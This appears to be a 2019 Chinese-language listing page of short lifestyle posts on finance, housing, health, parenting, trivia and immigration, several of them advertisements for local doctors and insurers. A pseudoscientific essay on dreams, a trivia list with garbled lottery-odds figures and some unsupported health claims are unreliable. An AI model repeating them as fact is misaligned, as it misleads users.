美联储十年来首次决定降息25个基点,标志着美国货币政策的大转变,这也将带给美国人一些新的变化,从信用卡、房地产抵押贷款、汽车贷款的利率都会下调,甚至是美联储给消费者的大好省钱机会。
信用卡:支付利息会下降
储蓄:存款的利息收入总是太少
房产月供:美联储给的大省钱机会
汽车贷款:更有底气压价

 

2019-08-07 / by / in
艾灸入门必知这些事

教你辨识艾绒和艾条品质!艾灸入门必知这些事
1. 以产地来分,蕲艾较好,野艾较劣..李时珍在《本草纲目》里说:“艾叶自成化以来,则以蕲州者为胜,用充方物,天下重之,谓之蕲艾。”
蕲艾:产于江北,有香气,叶宽而厚,绒毛多,揉之成棉絮状,能做出优质的艾绒。野艾:江南较多,绒质较硬,其艾香亦不如蕲艾,为劣质绒。
2. 看艾绒的颜色..陈艾绒的颜色应该是土黄色或金黄色,为上品。若艾绒颜色是绿色的,是当年艾;或色黑褐色者都为下品。
3. 闻艾绒的气味.陈年艾绒闻起来有淡淡的芳香,而当年艾绒闻起来有青草味。
4. 观察燃烧的艾烟.好的艾绒燃出的艾烟淡白,不浓烈,气味香,不刺鼻。艾条在点燃后,燃出的艾烟向上,燃完的艾灰凝而不散,呈灰白色。还有干燥者为上,易燃而中途不熄者为上。
3“艾绒、艾条和艾段”的制作方法
艾绒的制作:艾绒只能用艾叶来制作,艾枝是打不成绒的,所以必须趁新鲜时把艾叶和艾枝分离。将艾叶反复晒干后,先搓揉,然后置于石臼Shíjiù或其它器械中,充分捣杵,捣到细软如棉;再筛去灰尘及杂质,再焙干,即成艾绒。
艾条的制作:将棉纸卷曲成筒状,长度通常是20公分,直径通常为1.8公分左右。将棉纸的一端黏住,再将艾绒倒进开口的卷纸里,再以筷子或小木棒,用力挤压,让填充物扎实,就成为艾条。
艾段的制作:通常将艾条剪成0.5公分到1公分。可方便放在木盒艾灸器具里。

2019-08-07 / by / in
【视频】地震来了怎么办 !

地震来了怎么办 ! 记住这7点,救己救人!

1.如果在室内,地震第一时间,应躲在桌子等坚固家具的下面,或者尽量躲藏地点离门近点为逃生准备活路。

2.立即关掉火源和电器。

3.假如你在高楼里,应远离高层楼的窗户和面向马路的那面墙。

4.在百货公司、大型卖场通常都会有紧急照明,因此若地震时刚好在大型卖场其实是比较安全的。切记要完全遵照工作人员的指示避难。

5.在户外尽量往空旷处移动,保护头部。

6.汽车靠边停。

7.在野外注意山崩、断崖落石或海啸。

2019-07-09 / by / in , ,
【視頻】不可思議!科學家都不知道的,竟然是這樣!

 

 

很多人都在說夢,很多人也在解夢,至今的科學家對夢的理解也只是一種推理,從來也沒人真正能把夢的真實情況說清楚,
人為什麼會做夢,為什麼很多人做夢過一段時間甚至醒來不久就容易忘了呢

說到夢,我們先從大腦說起,大腦在思考運作時會發出腦電波(Electroencephalogram簡稱叫EEG)


在忙碌的工作生活當中,人的思想很杂乱(素材)的时候,人的脑电波是 β 波, 频率为14~30Hz
而人在平静的时候,脑电波是α波 , 频率为8~13Hz

人在清醒的时候就像在海面上,惊涛骇浪的场景就像是一個连着一个的思潮不斷,

意識狀態处在一个浅海的世界。也就是β波腦波最活躍的感官世界。


什麼叫感官世界呢,一般情况人只有五感,
什麼叫五感呢?視覺,聽覺,嗅覺,味覺,觸覺,這五感所能洞見的世界就像盲人摸象一樣

而體驗到的感知到的永遠是這個真實世界的小小一部份。

而這表面的一切都來自於更深的深海意識狀態,也就是總向的時空,由內而外的直線思維模式

 


很多人覺得眼見為實,看不見的不相信,其實就是摸一個大盲人。

当我们开始入睡了,意识狀態慢慢沉靜,感官開始休息,意識下沉,渐渐来到了深海的世界。这里是另一番景象。
是超脫人的五感之外的更深的一種覺知狀態,在世界最深的海沟——-马里亚纳海沟里,科学家发现了很多新物种,是在其他地方从来没见过的。


這更深層意識狀態就是橫向的時空,它们有它们的生态体系。

浅海鱼不能在那里生存。这些深海里的生物也不能上来,否则会因为压力变小自爆而死。

2019-07-07 / by / in
【视频】了解8个手机误区

8个手机常见误区

1、 新手机必须耗完电再充电

2、每天晚上关机对手机好


3、「边玩边充电」会影响电池寿命

4、支持「快充」的手机充电快

5、手机会导致银行卡、身份证等消磁

6、手机必须贴膜

7、手机像素越高,图像越清晰

8、恢复出厂设置后,信息就不会被泄露

2019-06-29 / by / in
【视频】这10个冷知识几乎所有人都答错了

火星上的日落是蓝色的?这些事实真相令人惊奇!


1冰棒是由一名11岁的孩子在偶然间发明的。来自旧金山的弗兰克•埃珀森(Frank Epperson)有一回突发奇想,将一些含糖的苏打粉与水混合在一起,在经过夜晚的低温混合物冻结了,就出现了现在最早期的冰棒。最初,他以他的名字命名他的发明Epsicle爱破c口,但后来根据他的孩子的建议将其改为popsicle。


2人类睡觉时不打喷嚏。在睡眠期间,大脑会关闭这种内部或外部的突然刺激引起的条件反射。但如果是灰尘,羽毛或动物毛皮等严重问题,引发打喷嚏时,我们就会醒来。


3盐会使菠萝的味道更甜其实是假象。重要是因为钠离子是第一主族的阳离子,有抑制苦味的功效,所以吃水果加盐可以显得更甜。菠萝中有一种菠萝蛋白酶,这个物质入口会将口腔黏膜以可观的速度被破坏,诱发强烈的刺痛感,甚至出血。菠萝蛋白酶最怕的是高温,温度越高失活越快,只要用开水一烫就会安分守己,所以,会有很多菠萝做的菜饭出现。


4 赢得彩票的可能性比被陨石撞击地球的可能性还低。有研究称,赢得彩票的机会大约是1.95亿分之一,而死于陨石,小行星或彗星撞击的可能性是大概是1,60分之一,1 7万5千。


5快餐店的冰可能比厕所水更脏。据调查,10家快餐店中有6家的水含有很多的细菌。这可能是因为厕所会定期清洁,但是制冰机可没有啊。


6美国曾有10万美元的钞票 美国历史上确实发行过大额钞票,最大面额10万美元,这些大额钞票早已退出流通. 10万美元纸币是威尔逊总统像,又称黄金证书,由财政部长向美联储发行。10万美元纸币,实际是银行票据,不对外流通,从1934年12月18日开印,到1935年1月9日便停止。


第二次世界大战结束后,从1945年开始,美国停止印刷大额钞票。
7火星上的日落是蓝色的。火星的微尘拥有很合适的大小,使它既能够很好地吸收光线中蓝色的波长,这样一来,火星日落时,天空就变成了蓝色。


8玉米棒也曾作为卫生纸,卫生纸当时不存在时,人们会使用水,棍棒,海绵,草等其他任何可以接触的东西。而玉米棒是美国人曾经很流行的“卫生纸”。因为玉米棒很常见,而且也柔软和有弹性。


9地球上还真的有蓝皮肤人,「阿凡达」中的蓝色皮肤外星人令观众们印象深刻,在我们地球上还真的有蓝皮肤人,美国肯塔基州有个阿帕拉契亚「蓝色家族」,这个家族成员的身体都拥有奇特的皮肤颜色。研究人员认为,这是由于近亲繁殖和高铁血红蛋白血症而造成的罕见遗传现象。


10在太空中不可能打嗝。因为在地球上,当胃里有空气时,由于它比食物和胃液还要轻,所以会上升到胃的顶部,但在外太空并没有地心引力,气体就会和胃中的东西混合在一起,不会上升到顶部,因此,在外太空打嗝时,就会带出其他东西,情况有点类似于胃食道逆流。

2019-06-29 / by / in , ,
【视频】敏感肤质护肤须知

敏感肌的保养

面对各种季节的肌肤问题,专业医生表示,不同季节,应使用不同质地、正确成分的保养品,尤其是敏感肌的朋友们更应该注意,并建议大家选择专业药厂制造的保养品,才能给予敏感肌最安心满意的呵护。


春天:肌肤容易敏弱、干燥脱皮,选择精华乳舒缓敏弱肌肤,帮助镇定肌肤、减缓干燥肌肤问题。

夏天:闷热导致脸上油光满面,选择无油乳液,一方面减轻皮肤负担,一方面能提升肌肤保湿度,避免因水分散失,导致肌肤干涩。
秋天:天气忽冷忽热,肌肤易敏弱、干燥,选择保湿乳为肌肤持续保水,减少皮肤干涩、紧绷感。

冬天:气温骤降,肌肤水分流失情况加重,建议选择最滋润的乳霜,增加肌肤修复力,改善细纹及皱纹。

 

2019-06-25 / by / in
【视频】如何摆脱过敏困扰

春夏是一年之中最好的季节,同时也是出游的好季节。一些民众在旅游或郊游时都碰到一个情况,就是接触到一些植物的汁液或者叶片就开始过敏。


皮膚突然出現紅斑,尤其是在沒有衣服包覆住而裸露出來的四肢較為常見,即所謂植物接觸性皮膚炎。其中一種過敏性接觸性皮膚炎 (allergic contact dermatitis),乃是皮膚直接接觸到植物的蛋白質而引發的免疫球蛋白E﹙IgE﹚反應,引起蕁麻疹或溼疹等過敏的表現;臨床的特徵是發生的位置通常只局限在接觸部位,並且在三十分鐘內引起搔癢、紅斑、水腫甚至水疱,且通常是發生在有過敏體質的人身上。在較罕見的嚴重病例可能會造成全身性症狀,即所謂的接觸蕁麻疹症候群;也就是典型的皮疹合併黏膜水腫的症狀,造成氣喘、鼻炎、結膜炎、咽喉炎、甚至是腸胃炎等。

事实上,春季到来后,阳光辐射强度增强,对皮肤的刺激和伤害大大增加,而气温又时而上升时而突降,剧烈波动,热时使毛细血管扩张,皮肤水分流失速度加快,冷时人体为了维持供血和体温,血管也会代偿性扩张,血管渗透性增强,免疫细胞更加活跃。春季细菌及其他生物开始活跃,植物开花,空气中潜在的致敏因素如花粉、动植物粉尘等增多,而此时皮肤屏障功能又比较弱,免疫系统活跃,所以皮肤过敏率也会升高。


春夏是过敏最高发的季节,如何预防和应对过敏的状况呢?在美国纽约的赵健生医学博士为观众朋友答疑解惑。

赵医生表示,每年诊所都会接待很多因为接触了一种,三片叶状的毒藤草而引起过敏或皮肤疾病的患者。 “一般接触了以后,有相当一段时间皮肤会红、痒,持续大概要半个月左右,治疗上来有一点困难,所以一般要用比较强的激素治疗,才能很好的止痒。”

赵医生补充到,虽然春季的过敏季节刚刚过去,但还有不少人,尤其是新移民,还处于过敏期间。 “我们广东人叫:‘水土不服’。其实就是你接触了一些原来没有接触过的东西,一般刚开始接触不一定很厉害。但经过若干年,反复的接触以后,身体里的抗体会逐渐增高。它的趋势是头三、五年不一定那么厉害,五、六年以后越来越厉害,一般到十多年以后,你的过敏就会逐渐的过去了。”


赵医生还表示减少接触灰尘,可以有效的预防过敏。 “可以在屋子里加湿,加湿以后灰尘比较重就不容易飞起来。第二就是你可以买一个哈珀空气过滤器,这是美军早起为潜艇设计的一个很精密的过滤器,这个过滤器可以大幅度的减低屋子里灰尘的数目。”

赵健生医生(Dr. Jiansheng K Zhao MD)是西医内科专科医学博士,拥有美国内科专科特考文凭,是长岛北岸大学及皇后纽约医院主治医师。

在美国,家庭医生也叫主治医师,是一个家庭中不可缺少的重要角色,能给您与家庭排除潜在的疾病隐患,并建立长期的服务关系。


家庭医生属于全科医生,可能有些病他不能给你治,但最起码他能告诉你需要找哪方面的医生来看病诊治,还可以帮你安排下一步的专科诊疗,这样就大大的省去你自己花大量时间做功课的一系列麻烦。

作为一名家庭医生,赵健生医生擅长与患者沟通,关怀病人,并能为病人做出细致的思考,能提供所有全科医生可提供的服务。在美国,拥有一个像赵健生医生这样值得信赖的家庭医生,是您和家人健康得到守护和照顾的保障,幸福安康不可缺少的角色。


赵健生医生主治:高血压、糖尿病、胆固醇、花粉症、敏感咳嗽、各种肝炎、甲状腺、中风、关节炎、贫血、皮肤病、心肝胃病、尿道炎、各种性病、头晕、耳鸣、入学检查、货车司机检查、每年全身体检、门诊各种手术及各类急症。

附设:心电图、24小时心电图、肺功能、运动检验、超声波检查、验血、验尿、验孕、肺结核皮肤试验。


接受:老人卡、蓝十字、HIP、Wellcare、Oxford、Aetna、Cigna、GHI、United Healthcare、1199、Unicare Empire Plan、Mutiplan、Great Wet,自费优惠。

门诊时间:周一、三、五上午8:30am–5:30pm;周二及周四上午8:30am–3:00pm;周六上午8:30am–5:00pm;周日请预约。

❤️电话:(201) 514-0708 (718)939-3780

❤️地址: 39-07 Prince St., Suite 4F Flushing, ny 11354

❤️赵健生家庭医生网站:https://jiansheng-zhao-medical.busine…

2019-06-25 / by / in
【视频】休斯顿值得信赖的保险经纪公司

安利保险公司(Allrisc Insurance Agency)是休斯顿最具影响力、最受大众所信赖的保险经纪公司之一,创办于1992年,是一家独立经营的公司,以服务华人社区为主,并提供为其他族群的服务,他们的服务遍及整个德州。因为公司负责人秉持脚踏实地的经营路线,从创办的第一天起,公司的经营目标就是提供客户最好的服务、最优秀的保险产品,从许多客户持久的在安利保险公司投保十八年以上的案例中,就可看出该公司的实力和信誉。


安利保险公司为客户提供多方面保险服务项目。针对个人和家庭,保险计划如:人寿、医疗、健康、汽车、房屋及个人财产计划保险等。针对企业,如:客人责任险、产品责任险、财产险、劳工保险、商业汽车保险、特殊行业保险等,为企业做好妥善的保险计划。


在保险种类繁多的情况下,公司设有专业管理部门,各种类型的保险产品有专人负责。比如汽车、房屋由陈小姐Jennifer负责,人寿、医疗、健康保险由苏小姐Christine负责,商业保险由叶小姐和陈小姐负责,等等。


为了方便客户的需求,他们还将开辟网络平台,使客户能更方便、快捷、容易的在网上与公司沟通、交流,解决保险项目选择、购买所出现的疑难问题。更多详情请洽安利保险经纪公司,地址:6918 Corporate Dr. Ste B1, Houston, TX 77036; 电话:713-777-6000, 通国语、粤语、越南语和英语

2019-06-15 / by / in , , ,
【视频】让孩子停止哭闹的方法

儿科医师:不用动怒 让孩子停止哭闹的方法
如果您3岁的宝贝在公共场合突然发飙大哭,身为家长,第一必须保持形象,第二要想起黄医生说的“绝对不可以对孩子说不”,也“不可以大声喝骂他”,那该如何是好?现在让我们来深入讨论如何运用之前提到的育儿原则,不用喊破喉咙就搞定正在发脾气的幼儿。

让孩子停止闹脾气的方法
步骤一:必须先认同他
当一个人情绪激动的时候,是无法接受或聆听其他人想表达的任何信息的,更何况是一个心智不成熟的幼儿。当幼儿大发脾气的时候,对他说教或讲道理,比如“玩水会感冒的”,孩子无法听懂多少。

人们会生气,大都是因为自己的想法无法得到别人的认同,幼儿也不例外。所以孩子哭闹时,家长自己先不要动气,应先认同他的想法或他想要的,让他知道,妈妈其实是可以理解他为什么不高兴的。如果是2~4岁的孩子,可能表达能力欠佳,这时家长就要把自己的思维和语言能力,降低到孩子的水平,用简单的“幼儿语言”来与他们沟通。

比如,孩子在玩具店想买一个玩具而不愿妥协。对年龄大些的孩子,妈妈可以直接说“可以告诉妈妈你为什么哭吗?”“妈妈知道你想要买那个玩具”,“妈妈知道你买不到这个玩具会难过”等。

如果是年龄较小的幼儿,家长就要选择简单易懂的词句,例如:想买这个?你要这个玩具吗?你真的要吗?而且家长在说的时候,最好对孩子表示出同理心,同时蹲下来,让孩子看到你的脸和眼睛,和他做眼神交流。这时孩子大多会停止哭泣说“是,我要买。”且会对妈妈竟然认同他而心感喜悦。

步骤二:适当转移焦点
当宝贝的大声嚷嚷被以上方法安抚下来后,接下来我们就可以用转移焦点的方法。

1. 把焦点转移到别的事物上。例如家长回答说:“好,妈妈知道你要买,咦!那个公园好好像有更好玩的东西,我们赶快去看看。”“好,你真要买这个?想不想吃冰淇淋,我们赶快去。”这种方法适用于年纪小的幼儿。

2. 巧用转移词:但是、下一次、不过⋯⋯这类词。例如“我知道你想买,但是我们家不是有玩具吗?”“好,妈妈会买,下一次你数学考好我们再买?”“好,不过妈妈今天钱不够,下一次好吗?”

对更大的孩子,家长可以用正面方式说,“好,我知道你想买,但是妈妈知道你最懂事,我们只买我们需要的,不乱花钱。”切记要强调“好”字。

3. 给停止闹脾气的孩子赞许。如“某某好棒啊,不哭了”“你看,妈妈就知道你可以好好跟妈妈说话”“妈妈就知道你最懂事”等等。

很多时候,爸妈必须不断地重复步骤一跟步骤二,才可以平息孩子的情绪。但也要切记,答应孩子的事就必须做到,如“下次买”等。因为“言而有信”,我们只有做孩子的好榜样,方可得到尊重。

2019-06-12 / by / in , ,
【视频】经常熬夜后失眠 如何调时差

如何调整时差

为什么会有时差?

如何调整时差?

1.在出发前调整时差

2.控制光照时间

3.调整饮食

4.适当的运动

5.使用退黑激素 (Melatonin)

6.调整时差的工具

2019-06-08 / by / in
【视频】房产买卖 产权保险必不可少

房产买卖 产权保险必不可少

专业人士表示“买卖房子,如果产权有问题,那一切都是零。购买产权保险是房产买卖中最重要也是最容易被忽略的环节。

首先呢,我们要查清卖主有没有权力出售房子。另外,债务是跟着房子走,有的人买下房子后,债主追上门,这样的情况更糟糕。并且,要注意房子的实际用途与规划用途可能不一致的问题。

要防范产权方面的风险,购买产权保险是必不可少的,它可以对买入房子前发生的产权纠纷和债务提供担保。产权保险公司为了保障客户权益和自身利益,会调查房子产权记录、债务记录,并为客户出具详尽产权报告,防范产权纠纷和背上不知道的债务。

2019-05-30 / by / in ,
【视频】通货膨胀时最容易涨价的东西

通胀是经济周期中最常见的现象之一,主要由于货币供应过多、本币贬值、原材料价格上涨等原因导致。

1、刚需的商品最容易涨价。2、普通工业制品价格与通胀弱相关。3、非必需品价格弹性大。4、黄金、珠宝等保值类资产价格上涨。

2019-05-30 / by / in
在纽约州没有身份可以申请医疗保险吗? 电话: (718) 886-0998

我们在实际工作中,总是能听到客户问类似的问题:我没有身份,可以买医疗保险吗?

在回答这个问题之前,我们先搞清楚什么是“没有身份”。很多人以为,只要还没有拿到绿卡或者公民身份,就不算是有“身份”。但是在医疗保险上并不是这样界定。在纽约州,如果你不是公民或者没有绿卡,也是可以申请医疗保险的。下面我们来仔细的说明一下。

地址: 136-20 38th Ave #9D, Flushing, NY 11354

电话: (718) 886-0998

1 申请政治庇护的人士,如果你已经向移民局递交了材料,拿到了工作许可和社会安全卡,那你就符合纽约州医疗保险对“身份”的要求。但是请注意,要申请医疗保险还有收入方面的要求。

2 偷渡来美国的人士,如果从未和移民局有过接触,那你不符合申请条件。如果你和移民局有过接触,有了A号码(Alien Number),有了社会安全卡,那是符合申请纽约州医疗保险对“身份”的要求。

3 临时非移民(Temporary Non-Immigrants)群体也可以申请,包括持有F、M、J、B、D、H(包括H-1B工作签证)、I、G、O类签证的外籍人士。

以上是申请医疗保险对“身份”的要求,还有收入方面的要求。那么什么样的收入水平符合申请医疗保险哪?根据纽约州政府的规定,我给大家列了一个表格。纽约州政府的政府文件在这里(https://info.nystateofhealth.ny.gov/sites/default/files/Essential%20Plan%20Fact%20Sheet_1.pdf),英文好的可以自己查询。

家庭成员数目 申请保险的年收入最高限
1 $24,280
2 $32,920
3 $41,560
4 $50,200

如何查看上面这个表格哪?举例来说,如果你家庭成员是1人,只要你的年收入低于24280元,你就符合纽约州政府申请医疗保险在收入方面的要求。家庭是两个人,那就要年收入低于32920元,其他以此类推,州政府详细规定了不同家庭人口数目和收入最高限额,如果还想详细了解,请拨打我公司电话:电话: (718) 886-0998  。

另外还有一个问题也是很多客户常问的问题,那就是:我要怎么计算我的年收入哪?这涉及你的工资收入是拿W2税单还是1099税单的问题。很多人对这个搞不清楚,我简单说说在医疗保险上是如何看待这个问题。

如果是拿W2表格的人士,你的老板在给你发工资的时候,已经扣税了,那么你工资单上的数额就看作是净收入。如果是每月2000元,12个月就是2万4千元。如果是家庭是一个人的话,那就是符合医疗保险的申请条件的。

如果是拿1099表格的人士,你在拿到收入的时候,你的收入还没有缴税,所以不能算净收入。你可以扣除适当的损耗之后,剩下的作为净收入。如果你觉得不好计算,你可以跟州政府提供前一年的税单,作为收入水平的一个证明。

上面就是关于申请纽约州医疗保险对于移民身份和收入的简单说明,如果大家还有不了解的地方,欢迎致电我公司:

电话: (718) 886-0998 。我们会详细解答你的相关问题,谢谢大家!

2019-05-29 / by / in , , , ,
【视频】美国购买学生公寓保值吗

如何做正确的地产投资

首先,地点选择仍然是房产投资最重要的环节。另外,在投资时,我们还要注意,除了房价之外的隐藏费用,这笔费用包括:过户费用、房屋潜在的修缮费等等。

除了民居房之外,其实还有很多其他方式进行地产投资。一个最典型的例子是商业地产。此外,像学生公寓和老年公寓这些地产项目,也是不错的方向。

如果投资者的资金量不够大,而且不喜欢实物投资,也可以考虑近年来非常流行的地产信托投资基金(REIT)。

2019-05-22 / by / in
【视频】中美贸易战货币贬值带来的后果

中美贸易战大陆物价暴涨 网友大呼天价水果吃不起


最近在大陆,水果价格问题成了人们关心的热点话题。买个西瓜要几十块钱,车厘子便宜的也要50多一斤,好一点的就70-80,甚至连大陆最普遍的水果苹果,甚至都得10几块钱一斤。不少网友表示,什么都在涨,就是工资不涨。

另外,在中美贸易战的情况下,进口外国货品的大陆商人可谓影响最大,卖进口商品的店家生意收到很大影响。

2019-05-22 / by / in
【视频】中美贸易战对人民币汇率的影响

人民币兑美元汇率将一跌再跌

国际投资银行摩根大通日前发表报告表示,美国提高对中国商品的进口关税及贸易摩擦重燃使得对人民币的预测转弱,该行修订未来四个季度人民币兑美元的预测,年底预测由原来的6.65元下调至6.80,而第三季更将贬至6.90。

另外,人民币兑美元离岸价17日跌破6.94,较前一交易日收盘跌100余点,创去年11月底以来新低,该价位距2017年1月的历史低位6.9895,差距不足500点或0.7%。

并且17日下午收盘的人民币兑美元在岸价跌破6.90关口,最低触及6.9035元,为去年12月24日以来新低,较上日夜盘收盘跌近200点。

2019-05-19 / by / in
【视频】美国公民入籍考试教学

“你好”英语教学节目是初级英语教学节目。专为刚来美国或来美国多年仍不会讲英语的中国移民设置的。


此教学注重生活口语用语。学生能学到如何在美国社会办事﹐于人打交道的基本用语。比如说如何去银行开帐户﹐如何打电话预约﹐如何去邮局邮信等等。   我们很荣幸地请到了有多年教学经验的丁慧老师和李仁德老师。丁慧老师毕业于美国乔治梅森大学英语第二语言教学(ESL)系﹐有国外10年的语言教学经验。李仁德老师毕业于美国的美利坚大学﹐有在国外的4年教学经验。本课的教材均由这两位老师编写。节目配有课本。 【Hello 你好】 实用英文教学(第一册)全套教材: 书+DVD(6碟)

2019-05-19 / by / in , ,
【视频】如何在纽约春季买房卖房?

现在以临近纽约春季房地产交易的黄金季节,不管您是买房还是卖房,一定要确保自己做好充分准备,才能购得满意的房屋或是以理想的价格出售您的房子。


今天能,就为大家介绍八条春季购房或者卖房的建议。

购房的窍门:

一. 了解税法改革对您财务决策的影响,评估购房策略

首先呢,我们要了解美国近期税法改革对您财务决策的影响,与您的会计师、理财顾问及持照地产专家一起评估不同购房策略的优越之处。
很多买家通常认为房产交易没有变化,但您通过评估就会处于更加有利条件。对各种变数都了然于胸就能轻松的找到更为理想的交易。

二.选择有信誉的贷款专家、地产律师以及经纪人
在一个呢,问您的地产代理人要一份可靠的贷款专家以及地产律师的名单,是非常明智的做法。
我们应该选择有信誉的经纪人,因为他们与顶级专家团队的合力服务会让您的交易更为顺利。

三.提升自身价值
如果今年春天您在纽约发现了一处特别火的投资物业或自住房产,您要知道,不光是您会对它特别感兴趣。如果您想得到它,除了要有良好的财务资料,我们还需要提供了其他买家没有的独特东西。

四. 文件准备齐全

在纽约,做事情需要高效率,所以备好您的所有文件(贷款预审批准书、税务报表、财务详单、银行对帐单等),这样当您一发现中意的房子,就可以立即出手。

接下来了解下售房窍门:

五. 购房旺期挂牌出售房产

首先,记得在购房旺期挂牌出售您的房产,时间甚至可以再早一些。纽约的春季购房旺期是四到六月。您会收获一大批潜在的买家,而且可能出现多个买家抢购您房子的局面,这样容易以较高的售价售出。

六. 使房子更具吸引力
房屋方面也要注意,干净、简约加上中性色调的全新粉刷,会使您的房子更具吸引力。布置一些植物,会使房子看起来更清新、更爽心悦目。例如,桃百合会使任何房子看起来都更亮丽出彩!而且这个美丽花种只需要极少的光线和正常浇水,维护简便。

七.让房子与众不同

我们还可以向一个奖励办法,这个奖励可以非常小,比如允许买方在一个既定日程之外的日子搬进来,或者是给买家灵活选择日期来完成交易。小小的便利对您可能没有什么影响,但对有些买家颇有意义。

八. 正确标价

还有,最重要的是一定要给房子正确标价,有经验的地产经纪人对市场把持更准确,会在全面的市场比较分析之后,给您的房子制定一个准确的价位。房子卖得慢的主要原因一般都是它们的定价不合理。

 

2019-05-19 / by / in , , ,
【视频】如何在美国纽约贷款买房?

在纽约投资房地产,不仅收益稳定,还有很多项目可以抵税,比如房产税可以抵税,房屋改建费用可以抵税,如果贷款买房,贷款的利息也可以抵税。


目前美国房屋贷款利率大概在4%左右,是投资买房的好时机。但是,如何获得一个好贷款?该怎样取得贷款批准?信用分数、查不查收入等等,都可能影响是否顺利贷款,新唐人电视台《财富之门》节目中,Jade Stone 玉石不动产顾问Anne Chang和爱吉保险 Ivan Peng邀请Quontic Bank的资深贷款经理Steven Ho对房屋贷款相关问题作了深入解析。

申请房贷三要素
第一,看信用。信用好坏直接关系到利率的高低。信用好,就能得到低的贷款利率,信用不好,甚至可能无法获得贷款。

第二,查收入。有两种贷款方案,即不查收入的贷款和查收入的贷款。收入是指报税收入。Steven Ho建议,无论采用哪种方案,最好都提供2年的个人报税表,请贷款专家分析后再做决定。

第三,看资金状况,也就是申请人有多少钱。除了首付款(down payment)外,在纽约买房还要缴交一笔法定准备金(legal reserve fund),包括定金、过户费、押金,以及半年到1年的还贷资金。

这些钱最好已存入美国的银行帐户,并提供2个月的银行月结单。若资金没来得及汇入(或存入)银行帐户,需要和贷款经理说明情况,如,将有钱从中国汇入,或亲友资助(支票),或有现金,根据各种情况,决定做哪种类型的贷款。

房屋贷款的流程
1.准备批准信(Pre-Approval Lette),确定大概的贷款额度。
2.房屋估价。房屋估价在贷款中非常重要,拿到估价报告后,银行就会批准贷款。批准贷款所需时间,一般需要2周左右。
3.贷款批下来后,银行将要求律师提供产权报告、房屋保险单、最新银行月结单和工作证明等。完成房屋贷款流程一般需要45天~60天。

外国买家也可贷款
Quontic Bank是为数不多的可为外国人贷款的银行。Steven Ho介绍,外国买家申请贷款和当地人几乎没有差别。

∗外国人申请房屋贷款所需手续

1.把钱存入美国帐户。对外国买家来说,资金准备最重要。
2.提供信用报告。若在美国没有信用,可提供自己国家银行的信用报告,译成英文即可。
3.工作证明。

∗利率和当地人有差别吗?

贷款利率与申请人的国籍无关。与当地人申请房贷一样,综合信用、收入、首付款的多少,贷款利率各有不同,有人可以申请到4% 或5% 的利率,有人可能就要更高,因人而异。

∗留学生可否贷款买房?

在美国的留学生,如父母帮助支付首付款,也可申请贷款。刚毕业的学生,​​第一天参加工作就可得到贷款,只要提供一份工作证明即可。

2019-05-19 / by / in , , , , ,
【视频】在美国公司工作怎样建立职场优势?

打造个人品牌并非一日之功,它需要我们的努力,它也渗透在我们工作和生活的每一个环节中。当我们在展示个人品牌时,向别人传递的是我们的品牌承诺,而那些决定者给我们的支持,是对这种个人品牌的认同。

当然啦,并非所有的行为都能产生相同的效果,打造个人品牌时,您可以在以下几个方面多多留意。

第一种方式是绩效评估,其实很多人不喜欢绩效评估,认为自己很大程度上被老板区别对待或受到不公平待遇,其实这是一个宣传自己的好机会。因为在展示一年来成绩的同时,也可以从老板那里得到宝贵的反馈,对今后的工作会有很大帮助。

这个年度或半年度的评估,其真正价值在于我们如何推销自己,其实,取得的成绩并不是最重要的。

但如何能在展示个人品牌时加分呢?

首先要提前准备,清楚地知道自己想说的话、希望老板所做的事,并分享你的会后感受。

再一个呢,要知道如何谈论你的成就,如何分享你的品牌承诺中突出的内容。

例如,如果想展示自己的合作精神,那么可以从协作方面取得的成绩入手;如果想展示创新能力,就强调自己在最前沿技术方面的贡献。

另外呢,还要懂得跟进,这是帮助我们在老板心中巩固品牌的重要一步。当你离开老板的办公室时,绩效考核并没有结束。一定要感谢你的老板,并承诺您将采取的行动。

那如何能让别人关注到我们已经我们带给公司的价值呢?如何得到决策层的认可呢?

当你和公司的老板或领导讨论项目时,需要注意展示项目之外的个人魅力和价值。

在参与创新、过程改进或其他项目上,大多数专业人士倾向于关注项目的细节和目标。
当然这很重要,但您可以借助相关的人和项目本身的影响来宣传自己。

第二种打造个人品牌的方式是 广而告知。

首先想想希望人们如何看待您,然后制定计划,通过计划的每个元素来强化自己的品牌。

另外团队会议也可以让我们在同行中展示自己的与众不同,脱颖而出。然而如果您仅试图证明自己是最聪明的人,那只会降低自己的品牌效益。应该通过承认他人的成绩,并展示您所提供的价值才会更令人信服。

要比较一下您与他人的共同点,然后思考一下自己的特色。当您清楚自己的长处时,就会更容易完善自己所能提供的价值。

还有一点就是分享理念。现在,员工的工作职责已经不再只是说明书中所列出的权限。所有员工都需要成为公司的品牌大使,这也让我们可以将自己置于公司的正常层级之外,从而得到建立自己品牌的机会。

把公司的形象置于个人品牌中,分享公司的价值和内容,加上自己独到的见解,这样做就可以通过展示您的参与度达到想要的效果。

2019-05-19 / by / in
【视频】如何让自己手里的钱保值?

美国总统川普宣布2000亿中国商品关税上调25%,面对中美贸易战老百姓要如何保护自己 美国总统川普星期天通过推特发出信息表示:美国对中国2000亿美元的商品关税将从目前的10%增加到25%。

他抱怨眼下跟中国的贸易协议谈判仍然在进行,但进展太迟缓。 这里先不讨论给外界释放诸多积极信号的中美谈判眼看可能就要成功,美国为什么突然转向加征关税的问题。

今天先和大家聊聊最重要的民生问题。 按照目前的去向,整个中国的金融系统不出意外都会在中美贸易战的冲击下流失大量的外汇,出现严重的货币贬值和通货膨胀;或者是货币不贬值,但通货紧缩。

对于老百姓来说,如何让自己手里的钱保值呢?

现在千万不要买股票,可以试试投资美股,至少美股的上涨趋势比较明显。P2P虽然承诺回报率大,但是卷钱更多风险太大,不要轻信那些打着国企和国家机构幌子的投资公司,他们规模更大,可能坑钱更多。

也不要买虚拟货币,除非是想被割韭菜,而且大部分虚拟货币可能都是传销币,轻易不要购买。 购买保值的资产是不错的选择,一个是持有外币,一个是持有黄金,或者投资国外的房地产。现在中国境外消费有严格的限制,目前实施起来并不容易。

但前两种比较容易实现。 提前储备一定的外币,比如美金是可以考虑的,这样能减少因为汇率变化带来的损失。另外,持有黄金,可能是最好的避险方法。俗话说得好,乱世屯黄金。

以上仅仅是我们的分析和推论,在做任何的投资时,其中的风险还需要您自己去评估和承担。

2019-05-19 / by / in ,
【视频】美国移民签证再变:“非凡人才”将倍受欢迎

美国移民签证再变 亲属移民遭大幅削减“非凡人才”将倍受欢迎。

美全新签证计划 大减亲属移民 废绿卡抽签 近日,美国三位高级官员告诉媒体记者,将在本月16日美国公布全面的移民改革计划。

